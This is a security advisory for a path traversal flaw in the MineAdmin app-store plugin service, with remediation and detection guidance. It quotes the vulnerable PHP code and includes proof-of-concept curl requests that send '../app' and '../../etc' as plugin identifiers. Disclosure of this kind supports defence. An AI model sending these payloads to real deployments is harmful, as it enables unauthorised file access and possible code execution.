CVE-2026-55224: Path Traversal
Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall
Summary The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
Vulnerable Code
File: plugin/mine-admin/app-store/src/Service/Service.php
php // Line 32 - download(): path traversal via identifier public function download(array $params): bool { if (empty($params['identifier']) || empty($params['version'])) { $this->throwParamsFail(); } $service = make(AppStoreServiceImpl::class); if (! isdir(BASEPATH . '/plugin/' . $params['identifier'])) { // Path traversal $result = $service->download($params['identifier'], $params['version']); // ... } return true; }
// Line 48 - install(): path traversal + Plugin::install() with raw identifier public function install(array $params): bool { // ... $path = BASEPATH . '/plugin/' . $params['identifier']; // Path traversal if (fileexists($path . '/install.lock')) { $this->throwAppInstalled(); } Plugin::install($params['identifier']); // May run composer commands with traversal path return true; }
// Line 70 - unInstall(): same pattern public function unInstall(array $params): bool { // ... $path = BASEPATH . '/plugin/' . $params['identifier']; // Path traversal Plugin::uninstall($params['identifier']); // Arbitrary uninstall return true; }
File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
php #[Controller(prefix: 'admin/plugin/store')] #[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)] // Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)
Proof of Concept
bash Install a "plugin" from a traversed path, potentially triggering composer on arbitrary directories curl -X POST "http://localhost:9501/admin/plugin/store/install" \ -H "Authorization: Bearer <JWTTOKEN>" \ -H "Content-Type: application/json" \ -d '{"identifier": "../app", "version": "1.0.0"}'
This resolves to BASEPATH/plugin/../app = BASEPATH/app Plugin::install("../app") processes the application directory as a plugin
Check if arbitrary path exists: curl -X POST "http://localhost:9501/admin/plugin/store/download" \ -H "Authorization: Bearer <JWTTOKEN>" \ -H "Content-Type: application/json" \ -d '{"identifier": "../../etc", "version": "1.0.0"}'
Impact
- Path traversal enables reading directory existence outside the plugin directory - Plugin::install() with a traversed identifier may run composer commands on arbitrary directories - Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this - Could lead to arbitrary code execution depending on Plugin::install() implementation
Remediation
Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/mineadmin/mineadminto a version that resolves this vulnerability.Fixed in 3.2.0-alpha.2 - Configuration
Validate and sanitize the user-supplied `identifier` parameter (e.g., reject any `../` / traversal sequences) before it is concatenated into file system paths in `download()`, `install()`, and `unInstall()`; use `basename()` or a strict allowlist regex such as `^[a-zA-Z0-9_-]+$`.
AppStore plugin service / Service::download/install/unInstall Sanitize/validate plugin identifier before filesystem path concatenation = Reject identifiers containing path traversal sequences - Compensating control
Because the controller/middleware is noted as only `AccessTokenMiddleware` (no `PermissionMiddleware` as per GM-4340), restrict access to the affected endpoints (`/admin/plugin/store/download`, `/admin/plugin/store/install`, and uninstall) to authorized/privileged users only (implement/enable the missing PermissionMiddleware or equivalent authorization gating).
Event History
Frequently Asked Questions
Who is realistically exposed to this issue?
Systems exposing the app-store plugin service to users who can supply plugin identifiers are affected. The vulnerable operations build paths under BASE_PATH/plugin directly from the supplied identifier.
What access does an attacker need to exploit it?
An attacker needs the ability to invoke plugin download, install, or uninstall functionality with a controlled identifier value. Path-traversal sequences such as ../ can cause operations against directories outside the intended plugin path, with potential arbitrary Composer command execution.
Is a default deployment known to be affected?
The provided data does not identify configuration prerequisites or indicate that the issue depends on a non-default setting. Review whether untrusted users can reach the app-store plugin service and submit identifier values.
What should be done if patching is not immediately possible?
Upgrade to the release associated with the fix, v3.2.0-alpha.2, or apply the referenced commit ca41902a2a5422676227e5088f4cc1dec06044f1. Until then, restrict access to plugin management operations and reject identifier values containing path traversal sequences.
How can I look for signs of exploitation?
Inspect requests to plugin download, install, and uninstall functions for identifier values containing ../ or other path-manipulation patterns. Also investigate unexpected plugin operations or Composer command execution originating from the app-store service.